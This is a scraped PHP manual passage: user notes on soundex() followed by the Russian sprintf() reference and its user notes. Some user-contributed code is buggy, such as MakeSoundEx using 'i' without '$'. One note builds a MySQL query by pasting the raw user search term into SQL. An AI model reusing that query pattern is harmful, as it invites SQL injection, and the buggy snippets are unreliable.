                      1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z'),
                      2 => array('F', 'S', 'X'),
                      3 => array('I', 'Y'),
                      4 => array('M', 'N'),
                      5 => array('Q', 'U', 'W'));
        break;

    case 'BOTH':
        $sets = array(0 => array('A', 'J', 'K'),
                      1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z', '3'),
                      2 => array('F', 'S', 'X'),
                      3 => array('I', 'Y'),
                      4 => array('M', 'N'),
                      5 => array('Q', 'U', 'W'));
        break;

    default:
        $sets = array(0 => array('A', 'J', 'K'),
                      1 => array('B', 'C', 'D', 'E', 'G', 'P', 'T', 'V', 'Z'),
                      2 => array('F', 'S', 'X'),
                      3 => array('I', 'Y'),
                      4 => array('M', 'N'),
                      5 => array('Q', 'U'));
        break;
    }

    // See if $char1 is in a set.
    $matchset = array();
    for ($i = 0; $i < count($sets); $i++) {
        if (in_array($char1, $sets[$i])) {
            $matchset = $sets[$i];
        }
    }

    // IF char2 is in the same set as char1, or if char1 and char2 and the same, then return true.
    if (in_array($char2, $matchset) OR $char1 == $char2) {
        return TRUE;
    } else {
        return FALSE;
    }
}
?>
mail at gettheeawayspam dot iaindooley dot com 10-Jul-2003 11:04
The soundex 'different letter in front' problem can be solved by using levenshtein() on the soundex codes. in my application, which is searching a database of album names for entries that match a particular user provided string, i do the following:

1. Search the database for the exact name
2. Search the database for entries where the name occurs anyway as a string
3. Search the database for entries where any of the words in the name (if the user has typed in more than one word) is present, except for little words (and, the, of etc)
4. Then, if all this fails, I go to plan b:

- calculate the levenshtein distance (levenshtein()) between the user search term and each of the entries in the database as a percentage of the length of the user search term entered

- calculate the levenshtein distance between the metphone codes of the user search term entered and each field in the database as a percentage of the length of the metaphone code of the user search term entered

- calculate the levenshtein distance between the soundex codes of the user search term entered and each field in the database as a percentage of the length of the soundex code of the original user search term entered

if any of these percentages is less than 50 (means that two soundex codes with different first letters will be accepted!!) then the entry is accepted as a possible match.
pee whitt at dental dot ufl dor edu 09-Jun-2003 06:12
fie at myrealbox dot com-

regarding your soudex syllable request- i think counting vowel clusters in the word will result in an accurate count of syllables.  so no soudex feature is necessary, just count through the chars in the word, and everytime you run from vowel to consanant, increment the syllable count.

using this logic, this sentence is categorized as follows.
2 1 2 1 1 (3) (0) (4) (0) 2

where (#) marks a word that is incorrectly categorized.  i'm sure usiong a little thinking one could figure out the logic in those cases that would result in an accurate count.  counting changes from vowel to consanant would yield-
(1) 1 2 1 2 1 (4) 1 2

taking the average and then cieling of the two types would fix most of the errors.
fie at myrealbox dot com 08-Mar-2003 05:29
eek... hosting got taken down on that server.. here's the code for the previous

function cg_sylc($nos){
  $nos = strtoupper($nos);
  $syllables = 0;

  $before = strlen($nos);
  $nos = str_replace(array('AA','AE','AI','AO','AU',
  'EA','EE','EI','EO','EU','IA','IE','II','IO',
  'IU','OA','OE','OI','OO','OU','UA','UE',
  'UI','UO','UU'), "", $nos);
  $after = strlen($nos);
  $diference = $before - $after;
  if($before != $after) $syllables += $diference / 2;

  if($nos[strlen($nos)-1] == "E") $syllables --;
  if($nos[strlen($nos)-1] == "Y") $syllables ++;

  $before = $after;
  $nos = str_replace(array('A','E','I','O','U'),"",$nos);
  $after = strlen($nos);
  $syllables += ($before - $after);

  return $syllables;
}

function cg_SoundEx($SExStr){
  $syl = cg_sylc($SExStr);
  $SExStr = strtoupper($SExStr);

    for($i = 1, $ii = 2,print $SExStr[0]; ;$ii++){

      if(($SExStr[$i] != $SExStr[$ii])){
          $tsstr .= $SExStr[$ii];
          $i ++;
      }
      if($SExStr[$ii] == false){
        break;
      }
    }

  $tsstr = str_replace(array('A', 'E', 'H', 'I', 'O', 'U', 'W', 'Y'), "", $tsstr);
  $tsstr = str_replace(array('B', 'F', 'P', 'V'), "1", $tsstr);
  $tsstr = str_replace(array('C', 'G', 'J', 'K', 'Q', 'S', 'X', 'Z', '?'), "2", $tsstr);
  $tsstr = str_replace(array('D', 'T'), "3", $tsstr);
  $tsstr = str_replace(array('L'), "4", $tsstr);
  $tsstr = str_replace(array('M', 'N', '?'), "5", $tsstr);
  $tsstr = str_replace(array('R'), "6", $tsstr);

  while($iii < 3){
    if($tsstr[$iii] != false){
      $ttsstr .= $tsstr[$iii];
    } else {
      $ttsstr .= "0";
    }
    $iii ++;
  }
  $ttsstr .= $syl;
  print $ttsstr;
}
fie at myrealbox dot com 25-Feb-2003 05:34
administrator at zinious dot com:

Sorry but your code wasnt soundex compliant
here were my results with your code, my code, and the default..

string: rest
R620 perform administrator's function 0.009452
R230 perform cg's function 0.001779
R230 perform default soundex function 9.4999999999956E-005

string: reset
R620 perform administrator's function 0.0055900000000001
R230 perform cg's function 0.00091799999999997
R230 perform default soundex function 0.00010600000000005

i dunno why the default, every once in a while, will for some reason be 9.xxx. very odd i think..
my code is at the bottom.. these tests were before the soundex modification as i discribe below..
btw for all the original specs on the soundex algorithm goto
http://www.star-shine.net/~functionifelse/GFD/?word=soundex

dalibor dot toth at podravka dot hr:

yes it is perhaps sad that it gives you the same code,
even metaphone has that problem..
but one might not want to be so accurate.. if somone
is on search engine.. lets call it shmoogle looking
for "php array reset" and search for "php array rest"
then shmoogle might return stuff about beds and such..
(if they were all stupid and didnt use the first words
as more important) so anyways shmoogle might need it to
be less accurate in such cases.. but nonetheless..
my fix for this is to add the number of syllables at the end of the string making it 5 characters long..
this would work as fallows..

code at: http://star-shine.net/~functionifelse/cg_soundex.php

or if you wanted to just use the default soundex function

$str = soundex($str).cg_sylc($str);

revolutionary more or less.. problly less...
This function is only meant for one word though.. i'd like to see someone
modify it to use split and run it through a loop to get each words cg_soundex
that'll be fun ;)
i would also like to sujest to the php zend apache kinda people who make php
to add an optional additional variable the user can specify as fallows

soundex("string",SYL);

which would return the number of syllables at the end of the string
highly accurate sound testing woo! also you could add VOW for vowels
and CONS for consonant or whatever else someone would want..
but i really think the number of syllables will be pleanty efficiant.
umm.. if this helps anyone your welcome.. ummm.. good luck in all
your php adventures.. oh... and the final results

syllables
1 rest
2 reset
metaphone
RST rest
RST reset
soundex
R230 rest
R230 reset

string: rest
R2301 perform cg's function 0.00211
R230 perform default soundex function 0.00011299999999997

string: reset
R2302 perform cg's function 0.001691
R230 perform default soundex function 0.00010399999999999

the default function is a tad bit faster..
so maybe they will add this option and we'll have speed and accuracy.

SILENT WIND OF DOOM WOOSH!
jr 16-Jan-2003 09:25
a workaround for the mysql/php differences in implementation of soundex is to do the soundex comparison entirely within mysql.

for example:
$sql = "SELECT * FROM table WHERE substring(soundex(field), 1, 4) =  substring(soundex('".$wordsearch."'), 1, 4)";
info at nederlandsch dot net 20-Dec-2002 05:26
MySQL soundex (3.23.49) doesn't examine the first character at all to see whether it should be skipped. Therefore the Dutch name of The Hague, the country's government seat, 's-Gravenhage will give a soundex value of '261 in MySQL and S615 in PHP.
dcallaghan at linuxmail dot org 10-Jun-2002 04:25
Although the standard soundex string is 4 characters long, and this is what's returned by the php function, some database programs return an arbitrary number of strings. MySQL, for instance.

The MySQL documentation covers this, recommending that you may wish to use substring to output the standard 4 characters. Let's take 'Dostoyevski' as an example.

select soundex("Dostoyevski")
returns D2312
select substring(soundex("Dostoyevski"), 1, 4);
returns D231

PHP will return the value as 'D231'

So, to use the soundex function to generate a WHERE parameter in a MySQL SELECT statement, you might try this:
$s = soundex('Dostoyevski');
SELECT * FROM authors WHERE substring(soundex(lastname), 1 , 4) = "' . $s  . '"';

Or, if you want to bypass the php function
$result = mysql_query("select soundex('Dostoyevski')");
$s = mysql_result($result, 0, 0);
witold4249 at rogers dot com 17-May-2002 10:11
A MUCH easier way to check for similarity between words and avoid the problems that come up with Klancy/Clancy would be to simply add any letter infront of the string

ie:  OKlancy/OClancy
17-May-2002 10:07
A MUCH easier way to do the above search would be to simply add any letter in front of the string and then compare them.

ie. Klancy => LKlancy
    Clancy => LClancy
administrator at zinious dot com 09-Apr-2002 08:21
I wrote this function a long time ago in CGI-perl and then translated (if you can call it that) into PHP.  A little clunky to say the least, but should handle true soundex specs 100%:

// ---begin code---

function MakeSoundEx($stringtomakesoundexof)
{
    $temp_Name = $stringtomakesoundexof;
    $SoundKey1 = "BPFV";
    $SoundKey2 = "CSKGJQXZ";
    $SoundKey3 = "DT";
    $SoundKey4 = "L";
    $SoundKey5 = "MN";
    $SoundKey6 = "R";
    $SoundKey7 = "AEHIOUWY";

        $temp_Name = strtoupper($temp_Name);
    $temp_Last = "";
    $temp_Soundex = substr($temp_Name, 0, 1);

    $n = 1;
    for ($i = 0; $i < strlen($SoundKey1); $i++)
    {
            if ($temp_Soundex == substr($SoundKey1, i - 1, 1))
        {
            $temp_Last = "1";
            }
    }
    for ($i = 0; $i < strlen($SoundKey2); $i++)
    {
            if ($temp_Soundex == substr($SoundKey2, i - 1, 1))
        {
            $temp_Last = "2";
            }
    }
    for ($i = 0; $i < strlen($SoundKey3); $i++)
    {
            if ($temp_Soundex == substr($SoundKey3, i - 1, 1))
        {
            $temp_Last = "3";
            }
    }
    for ($i = 0; $i < strlen($SoundKey4); $i++)
    {
            if ($temp_Soundex == substr($SoundKey4, i - 1, 1))
        {
            $temp_Last = "4";
            }
    }
    for ($i = 0; $i < strlen($SoundKey5); $i++)
    {
            if ($temp_Soundex == substr($SoundKey5, i - 1, 1))
        {
            $temp_Last = "5";
            }
    }
    for ($i = 0; $i < strlen($SoundKey6); $i++)
    {
            if ($temp_Soundex == substr($SoundKey6, i - 1, 1))
        {
            $temp_Last = "6";
            }
    }
    for ($i = 0; $i < strlen($SoundKey6); $i++)
    {
            if ($temp_Soundex == substr($SoundKey6, i - 1, 1))
        {
            $temp_Last = "";
            }
    }

    for ($n = 1; $n < strlen($temp_Name); $n++)
    {
        if (strlen($temp_Soundex) < 4)
        {
            for ($i = 0; $i < strlen($SoundKey1); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey1, $i - 1, 1) && $temp_Last != "1")
                {
                    $temp_Soundex = $temp_Soundex."1";
                    $temp_Last = "1";
                }
            }
            for ($i = 0; $i < strlen($SoundKey2); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey2, $i - 1, 1) && $temp_Last != "2")
                {
                    $temp_Soundex = $temp_Soundex."2";
                    $temp_Last = "2";
                }
            }
            for ($i = 0; $i < strlen($SoundKey3); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey3, $i - 1, 1) && $temp_Last != "3")
                {
                    $temp_Soundex = $temp_Soundex."3";
                    $temp_Last = "3";
                }
            }
            for ($i = 0; $i < strlen($SoundKey4); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey4, $i - 1, 1) && $temp_Last != "4")
                {
                    $temp_Soundex = $temp_Soundex."4";
                    $temp_Last = "4";
                }
            }
            for ($i = 0; $i < strlen($SoundKey5); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey5, $i - 1, 1) && $temp_Last != "5")
                {
                    $temp_Soundex = $temp_Soundex."5";
                    $temp_Last = "5";
                }
            }
            for ($i = 0; $i < strlen($SoundKey6); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey6, $i - 1, 1) && $temp_Last != "6")
                {
                    $temp_Soundex = $temp_Soundex."6";
                    $temp_Last = "6";
                }
            }
            for ($i = 0; $i < strlen($SoundKey7); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey7, $i - 1, 1))
                {
                    $temp_Last = "";
                }
            }
        }
    }

    while (strlen($temp_Soundex) < 4)
    {
        $temp_Soundex = $temp_Soundex."0";
    }

    return $temp_Soundex;
}

// --- end code---
cap at capsi dot cx 13-Dec-1999 07:16
soundex() unfortunately is very sensitive about the first character. It is not possible to use it and have Clansy and Klansy return the same value. If you want to do a phonetic search on such names you will still need to write a routine to evaluate C452 as being similar to K452.


Возвращает отформатированную строку

  • « soundex
  • sscanf »
  • PHP Manual
  • Функции для работы со строками
  • Возвращает отформатированную строку

sprintf

(PHP 4, PHP 5, PHP 7, PHP 8)

sprintf — Возвращает отформатированную строку

Описание

sprintf(string $format, mixed ...$values): string

Возвращает строку, созданную с использованием строки формата format.

Список параметров

format

Строка формата состоит из нуля или более директив: обычные символы (за исключением %), которые просто выводятся без изменения, и спецификаторы преобразования, каждый из которых требует передачи своего параметра.

Спецификаторы преобразования имеют следующий формат: %[argnum$][flags][width][.precision]specifier.

Argnum

Целое число, за которым следует знак доллара $, чтобы указать, какой числовой аргумент обрабатывать при преобразовании.

Флаги
Флаг | Описание
- Выравнивание по левому краю в пределах заданной ширины поля; По умолчанию выравнивание происходит по правому краю.
+ Печатает плюс + у не отрицательных чисел; По умолчанию знак печатается только у отрицательных чисел.
(space) | Дополняет результат пробелами. Это поведение по умолчанию.
0 | Дополняет числа нулями (только слева). Со спецификатором s также может дополнять нулями справа.
'(char) | Дополняет результат символом (char).

Ширина

Либо целое число, указывающее, сколько символов (минимум) должно получиться в результате преобразования, либо *. Если указано значение *, то ширина задаётся как дополнительное целое значение, предшествующее значению, отформатированному спецификатором.

Точность

Точка ., с последующим целым числом, либо *, значение которого зависит от спецификатора:

  • Для спецификаторов e, E, f и F: задаёт количество цифр после десятичной запятой (по умолчанию 6).
  • Для спецификаторов g,G, h и H: задаёт максимальное значение печатаемых значащих цифр.
  • Для спецификатора s: задаёт ограничение максимального количества символов в строке, которые будут выведены.

Замечание: Если указана точка без последующего значения точности, то точность будет считаться за 0. Если указано значение *, точность задаётся как дополнительное целое значение, предшествующее значению, отформатированному спецификатором.

Спецификаторы
Спецификатор | Описание
% Символ процента. Аргументы не требуются.
b | Аргумент рассматривается как целое число и печатается в бинарном представлении.
c | Аргумент рассматривается как целое число и печатается как символ из таблицы ASCII с соответствующим кодом.
d | Аргумент рассматривается как целое число и печатается как целое число со знаком.
e | Аргумент считается за число в научной нотации (т.е. 1.2e+2).
E | Аналогично спецификатору e, но использует заглавные символы (т.е. 1.2E+2).
f | Аргумент считается за число с плавающей точкой (с учётом локали).
F | Аргумент считается за число с плавающей точкой (без учёта локали).
g

Общий формат.

Пусть P равно точности, если она не равно нулю, 6 — если точность не задана и 1, если точность задана как 0. Тогда, если преобразование со стилем "E" будет иметь показатель степени X:

Если P > X ? ?4, преобразование будет в стиле "f" и точность будет P ? (X + 1). В обратном случае, преобразование будет в стиле "e" и точность будет P ? 1.

G | Аналогично спецификатору g, но использует E и f.
h | Аналогично спецификатору g, но использует F. Доступен с PHP 8.0.0.
H | Аналогично спецификатору g, но использует E и F. Доступен с PHP 8.0.0.
o | Аргумент рассматривается как целое число и печатается в восьмеричном представлении.
s | Аргумент рассматривается и печатается как строка.
u | Аргумент рассматривается как целое число и печатается как беззнаковое целое число.
x | Аргумент рассматривается как целое число и печатается в шестнадцатеричном представлении (буквы будут в нижнем регистре).
X | Аргумент рассматривается как целое число и печатается в шестнадцатеричном представлении (буквы будут в верхнем регистре).

Внимание

Спецификатор c игнорирует значения ширины и дополнения

Внимание

Попытка использовать спецификаторы с указанием ширины для строки в многобайтовой кодировке может привести к неожиданным результатам.

Переменные будут приведены к подходящему для спецификатора типу:

Обработка типов
Тип | Спецификатор
string | s
int | d, u, c, o, x, X, b
float | e, E, f, F, g, G, h, H

values

Возвращаемые значения

Возвращает строку, отформатированную в соответствии с форматом format.

Ошибки

Начиная с PHP 8.0.0, если количество аргументов равно нулю, выбрасывается исключение ValueError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Начиная с PHP 8.0.0, если [width] меньше нуля или больше PHP_INT_MAX, выбрасывается исключение ValueError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Начиная с PHP 8.0.0, если [precision] меньше нуля или больше PHP_INT_MAX, выбрасывается исключение ValueError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Начиная с PHP 8.0.0, если аргументов задано меньше, чем требуется, выбрасывается исключение ArgumentCountError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Список изменений

Версия | Описание
8.0.0 | Функция больше не возвращает false, если возникла ошибка.
8.0.0 | Выбрасывает исключение ValueError, если количество аргументов равно нулю; ранее функция выдавала ошибку уровня E_WARNING.
8.0.0 | Выбрасывает исключение ValueError, если [width] меньше нуля или больше PHP_INT_MAX; ранее функция выдавала ошибку уровня E_WARNING.
8.0.0 | Выбрасывает исключение ValueError, если [precision] меньше нуля или больше PHP_INT_MAX; ранее функция выдавала ошибку уровня E_WARNING.
8.0.0 | Выбрасывает исключение ArgumentCountError, если аргументов задано меньше, чем требуется; ранее функция выдавала ошибку уровня E_WARNING.

Примеры

Пример #1 Argument swapping

Строка формата поддерживает нумерацию и перемешивание аргументов.

<?php
$num = 5;
$location = 'tree';

$format = 'There are %d monkeys in the %s';
echo sprintf($format, $num, $location);
?>

Результат выполнения приведённого примера:

There are 5 monkeys in the tree

Теперь представим, что строка форматирования задаётся в стороннем файле. Это обычная практика при необходимости поддержки нескольких языков. Представим, что строка была переписана таким образом:

<?php
$format = 'The %s contains %d monkeys';
echo sprintf($format, $num, $location);
?>

Упс! У нас проблема - порядок спецификаторов перестал соответствовать порядку аргументов. Так как нам очень не хочется менять код каждый раз, когда меняется формат строки, то мы можем использовать нумерованные аргументы:

<?php
$format = 'The %2$s contains %1$d monkeys';
echo sprintf($format, $num, $location);
?>

Дополнительным приятным моментом является то, что мы можем использовать один параметр для нескольких подстановок.

<?php
$format = 'The %2$s contains %1$d monkeys.
That\'s a nice %2$s full of %1$d monkeys.';
echo sprintf($format, $num, $location);
?>

При использовании нумерованных аргументов, спецификатор позиции n$ должен стоять сразу же за символом процента (%), до любого другого спецификатора, как показано ниже.

Пример #2 Использование символа заполнения

<?php
echo sprintf("%'.9d\n", 123);
echo sprintf("%'.09d\n", 123);
?>

Результат выполнения приведённого примера:

......123
000000123

Пример #3 Спецификатор позиции в комбинации с другими спецификаторами

<?php
$format = 'The %2$s contains %1$04d monkeys';
echo sprintf($format, $num, $location);
?>

Результат выполнения приведённого примера:

The tree contains 0005 monkeys

Пример #4 sprintf(): целое с лидирующими нулями

<?php
$isodate = sprintf("%04d-%02d-%02d", $year, $month, $day);
?>

Пример #5 sprintf(): форматирование денежных единиц

<?php
$money1 = 68.75;
$money2 = 54.35;
$money = $money1 + $money2;
echo $money;
echo "\n";
$formatted = sprintf("%01.2f", $money);
echo $formatted;
?>

Результат выполнения приведённого примера:

123.1
123.10

Пример #6 sprintf(): научная нотация

<?php
$number = 362525200;

echo sprintf("%.3e", $number);
?>

Результат выполнения приведённого примера:

3.625e+8

Смотрите также

  • printf() - Выводит отформатированную строку
  • fprintf() - Записывает отформатированную строку в поток
  • vprintf() - Выводит отформатированную строку
  • vsprintf() - Возвращает отформатированную строку
  • vfprintf() - Записывает отформатированную строку в поток
  • sscanf() - Разбирает строку в соответствии с заданным форматом
  • fscanf() - Обрабатывает данные из файла в соответствии с форматом
  • number_format() - Форматирует число с группировкой классов многозначного числа
  • date() - Форматирует временную метку Unix

User Contributed Notes

Anonymous 01-Mar-2022 06:35
If the format string is enclosed in double-quotes (""), you need to escape the dollar sign after argnum with a backslash character (\), like this %1\$s, so that the PHP doesn't try to interpret them as variable. Using a backslash like this is called an escape sequence.

<?php
// Sample string
$number = 499;
$format = "The number without decimal points: %1\$d, and the number with two decimal points: %1\$.2f";

// Formatting and print the string
printf($format, $number);
?>
2838132019 at qq dot com 17-Sep-2021 01:57
echo sprintf("%.2f", "123456789012345.82");
// result: 123456789012345.81

echo sprintf("%.2f", "123456789012345.85");
// result: 123456789012345.84

echo sprintf("%.2f", "123456789012345.87");
//result:  123456789012345.88

echo sprintf("%.2f", "123456789012345.820");
//result: 123456789012345.81

echo sprintf("%.2f", "123456789012345.821");
//result: 123456789012345.83

echo sprintf("%.2f", "123456789012345.828");
//result: 123456789012345.83

echo sprintf("%.2f", "123456789012345.8209");
//result : 123456789012345.83

echo sprintf("%.2f", "1234567890123456.82");
//result: 1234567890123456.75

echo sprintf("%.2f", "123456789012345.82002");
//result: 123456789012345.81

echo sprintf("%.2f", "123456789012345.820001");
//result: 123456789012345.81

echo sprintf("%.2f", "123456789012345.820101");
//result: 123456789012345.81

echo sprintf("%.2f", "123456789012345.820201");
//result: 123456789012345.81

echo sprintf("%.2f", "123456789012345.820301");
//result: 123456789012345.81

echo sprintf("%.2f", "123456789012345.820401");
//result: 123456789012345.83
Mirek Z... 15-Mar-2020 07:19
I've performed a simple speed test. sprintf against PHP string concatenation operator. Test was performed on PHP 7.3 for 1 million interations.

I run this several times and what I've noted that string concatenation took about 2.9 seconds, sprintf took 4.3 seconds.
I was thinking about what is faster, what is better to do when we're going to format our string (for example, the message to the user or for log purposes) containing some variables values. Is it better to concatenate string with variables using operator (dot ".") or to use sprintf. The answer is: when you do not plan to implement any multilanguage mechanisms and feel good with hardcoding some texts, the "dot" is almost 1.5 times faster!

Here's the code:

echo 'Start' . PHP_EOL;
$vS_text = 'some text';
$vS = '';
$vf = microtime(true);
for ($vI = 0; $vI < 1000000; $vI++) {
    $vS = 'Start ' . $vI . ' ' . $vS_text . ' ' . $vf . ' end';
}
$vf = microtime(true) - $vf;
echo 'Concat:' . $vf . PHP_EOL;
$vS = '';
$vf = microtime(true);
for ($vI = 0; $vI < 1000000; $vI++) {
    $vS = sprintf('Start %d %s %f end', $vI, $vS_text, $vf);
}
$vf = microtime(true) - $vf;
echo 'Spritf:' . $vf . PHP_EOL;
Anderson 18-Nov-2019 09:23
The old "monkey" example which helped me a lot has sadly disappeared.

I'll Re-post it in comment as a memory.

<?php
$n =  43951789;
$u = -43951789;
$c = 65; // ASCII 65 is 'A'

// notice the double %%, this prints a literal '%' character
printf("%%b = '%b'\n", $n); // binary representation
printf("%%c = '%c'\n", $c); // print the ascii character, same as chr() function
printf("%%d = '%d'\n", $n); // standard integer representation
printf("%%e = '%e'\n", $n); // scientific notation
printf("%%u = '%u'\n", $n); // unsigned integer representation of a positive integer
printf("%%u = '%u'\n", $u); // unsigned integer representation of a negative integer
printf("%%f = '%f'\n", $n); // floating point representation
printf("%%o = '%o'\n", $n); // octal representation
printf("%%s = '%s'\n", $n); // string representation
printf("%%x = '%x'\n", $n); // hexadecimal representation (lower-case)
printf("%%X = '%X'\n", $n); // hexadecimal representation (upper-case)

printf("%%+d = '%+d'\n", $n); // sign specifier on a positive integer
printf("%%+d = '%+d'\n", $u); // sign specifier on a negative integer

/*
%b = '10100111101010011010101101'
%c = 'A'
%d = '43951789'
%e = '4.395179e+7'
%u = '43951789'
%u = '18446744073665599827'
%f = '43951789.000000'
%o = '247523255'
%s = '43951789'
%x = '29ea6ad'
%X = '29EA6AD'
%+d = '+43951789'
%+d = '-43951789'
*/

$s = 'monkey';
$t = 'many monkeys';

printf("[%s]\n",      $s); // standard string output
printf("[%10s]\n",    $s); // right-justification with spaces
printf("[%-10s]\n",   $s); // left-justification with spaces
printf("[%010s]\n",   $s); // zero-padding works on strings too
printf("[%'#10s]\n",  $s); // use the custom padding character '#'
printf("[%10.10s]\n", $t); // left-justification but with a cutoff of 10 characters

/*
[monkey]
[    monkey]
[monkey    ]
[0000monkey]
[####monkey]
[many monke]
*/
?>
Nathan Alan 19-Feb-2017 11:03
Just wanted to add that to get the remaining text from the string, you need to add the following as a variable in your scanf

%[ -~]

Example:

sscanf($sql, "[%d,%d]%[ -~]", $sheet_id, $column, $remaining_sql);
Anonymous 03-Jan-2017 10:02
Be cafeful while trying to refactor longer strings with repeated placeholders like

    sprintf("Hi %s. Your name is %s", $name, $name);

to use argument numbering:

   sprintf("Hi %1$s. Your name is %1$s", $name);

This will nuke you at **runtime**, because of `$s` thing being handled as variable. If you got no $s for substitution, notice will be thrown.

The solution is to use single quotes to prevent variable substitution in string:

   sprintf('Hi %1$s. Your name is %1$s', $name);

If you need variable substitution, then you'd need to split your string to keep it in single quotes:

   sprintf("Hi " . '%1$s' . ". Your {$variable} is " . '%1$s', $name);
Sam Bull 23-Oct-2015 02:35
Fix for sprintfn function for named arguments (http://php.net/manual/en/function.sprintf.php#94608):

Change the first line from:
  $arg_nums = array_slice(array_flip(array_keys(array(0 => 0) + $args)), 1);
to:
  $arg_nums = array_keys($args);
  array_unshift($arg_nums, 0);
  $arg_nums = array_flip(array_slice($arg_nums, 1, NULL, true));
nmmm at nmmm dot nu 08-Apr-2015 07:31
php printf and sprintf not seems to support star "*" formatting.

here is an example:

printf("%*d\n",3,5);

this will print just "d" instead of "<two spaces>5"
kontakt at myseosolution dot de 26-Feb-2015 10:34
There are already some comments on using sprintf to force leading leading zeros but the examples only include integers. I needed leading zeros on floating point numbers and was surprised that it didn't work as expected.

Example:
<?php
sprintf('%02d', 1);
?>

This will result in 01. However, trying the same for a float with precision doesn't work:

<?php
sprintf('%02.2f', 1);
?>

Yields 1.00.

This threw me a little off. To get the desired result, one needs to add the precision (2) and the length of the decimal seperator "." (1). So the correct pattern would be

<?php
sprintf('%05.2f', 1);
?>

Output: 01.00

Please see http://stackoverflow.com/a/28739819/413531 for a more detailed explanation.
john at jbwalker dot com 24-May-2014 12:24
I couldn't find what should be a WARNING in the documentation above, that if you have more specifiers than variables to match them sprintf returns NOTHING. This fact, IMHO, should also be noted under return values.
hdimac at gmail dot com 14-Apr-2014 04:00
In the examples, is being shown printf, but it should say sprintf, which is the function being explained... just a simple edition mistake.
ivan at php dot net 28-Dec-2013 08:13
There is a minor issue in a code of mb_vsprintf function from viktor at textalk dot com.

In "truncate $arg" section the following line:
  $arg = mb_substr($precision,0,$precision,$encoding);
needs to be replaced with:
  $arg = mb_substr($arg,0,$precision,$encoding);
Alex R. Gibbs 25-Jan-2013 08:17
1.  A plus sign ('+') means put a '+' before positive numbers while a minus sign ('-') means left justify.  The documentation incorrectly states that they are interchangeable.  They produce unique results that can be combined:

<?php
echo sprintf ("|%+4d|%+4d|\n",   1, -1);
echo sprintf ("|%-4d|%-4d|\n",   1, -1);
echo sprintf ("|%+-4d|%+-4d|\n", 1, -1);
?>

outputs:

|  +1|  -1|
|1   |-1  |
|+1  |-1  |

2.  Padding with a '0' is different than padding with other characters.  Zeros will only be added at the front of a number, after any sign.  Other characters will be added before the sign, or after the number:

<?php
echo sprintf ("|%04d|\n",   -2);
echo sprintf ("|%':4d|\n",  -2);
echo sprintf ("|%-':4d|\n", -2);

// Specifying both "-" and "0" creates a conflict with unexpected results:
echo sprintf ("|%-04d|\n",  -2);

// Padding with other digits behaves like other non-zero characters:
echo sprintf ("|%-'14d|\n", -2);
echo sprintf ("|%-'04d|\n", -2);
?>

outputs:

|-002|
|::-2|
|-2::|
|-2  |
|-211|
|-2  |
ignat dot scheglovskiy at gmail dot com 10-Oct-2012 08:47
Here is an example how alignment, padding and precision specifier can be used to print formatted list of items:

<?php

$out = "The Books\n";
$books = array("Book 1", "Book 2", "Book 3");
$pages = array("123 pages ", "234 pages", "345 pages");
for ($i = 0; $i < count($books); $i++) {
    $out .= sprintf("%'.-20s%'.7.4s\n", $books[$i], $pages[$i]);
}
echo $out;

// Outputs:
//
// The Books
// Book 1.................123
// Book 2.................234
// Book 3.................345
?>
Hayley Watson 07-Jun-2012 11:21
If you use argument numbering, then format specifications with the same number get the same argument; this can save repeating the argument in the function call.

<?php

$pattern = '%1$s %1$\'#10s %1$s!';

printf($pattern, "badgers");
?>
krzysiek dot 333 at gmail dot com - zryty dot hekko dot pl 20-Aug-2011 12:48
Encoding and decoding IP adress to format: 1A2B3C4D (mysql column: char(8) )

<?php
function encode_ip($dotquad_ip)
{
    $ip_sep = explode('.', $dotquad_ip);
    return sprintf('%02x%02x%02x%02x', $ip_sep[0], $ip_sep[1], $ip_sep[2], $ip_sep[3]);
}

function decode_ip($int_ip)
{
    $hexipbang = explode('.', chunk_split($int_ip, 2, '.'));
    return hexdec($hexipbang[0]). '.' . hexdec($hexipbang[1]) . '.' . hexdec($hexipbang[2]) . '.' . hexdec($hexipbang[3]);
}
?>
timo dot frenay at gmail dot com 02-May-2011 05:38
Here is how to print a floating point number with 16 significant digits regardless of magnitude:

<?php
    $result = sprintf(sprintf('%%.%dF', max(15 - floor(log10($value)), 0)), $value);
?>

This works more reliably than doing something like sprintf('%.15F', $value) as the latter may cut off significant digits for very small numbers, or prints bogus digits (meaning extra digits beyond what can reliably be represented in a floating point number) for very large numbers.
carmageddon at gmail dot com 02-Feb-2011 06:38
If you want to convert a decimal (integer) number into constant length binary number in lets say 9 bits, use this:

$binary = sprintf('%08b', $number );

for example:
<?php
$bin = sprintf('%08b',511 );
echo $bin."\n";
?>

would output 111111111
And 2 would output 00000010

I know the leading zeros are useful to me, perhaps they are to someone else too.
dwieeb at gmail dot com 01-Sep-2010 11:54
If you use the default padding specifier (a space) and then print it to HTML, you will notice that HTML does not display the multiple spaces correctly. This is because any sequence of white-space is treated as a single space.

To overcome this, I wrote a simple function that replaces all the spaces in the string returned by sprintf() with the character entity reference "&nbsp;" to achieve non-breaking space in strings returned by sprintf()

<?php
//Here is the function:
function sprintf_nbsp() {
   $args = func_get_args();
   return str_replace(' ', '&nbsp;', vsprintf(array_shift($args), array_values($args)));
}

//Usage (exactly like sprintf):
$format = 'The %d monkeys are attacking the [%10s]!';
$str = sprintf_nbsp($format, 15, 'zoo');
echo $str;
?>

The above example will output:
The 15 monkeys are attacking the [       zoo]!

<?php
//The variation that prints the string instead of returning it:
function printf_nbsp() {
   $args = func_get_args();
   echo str_replace(' ', '&nbsp;', vsprintf(array_shift($args), array_values($args)));
}
?>
geertdd at gmail dot com 01-Sep-2010 12:53
Note that when using a sign specifier, the number zero is considered positive and a "+" sign will be prepended to it.

<?php
printf('%+d', 0); // +0
?>
nate at frickenate dot com 13-Nov-2009 11:45
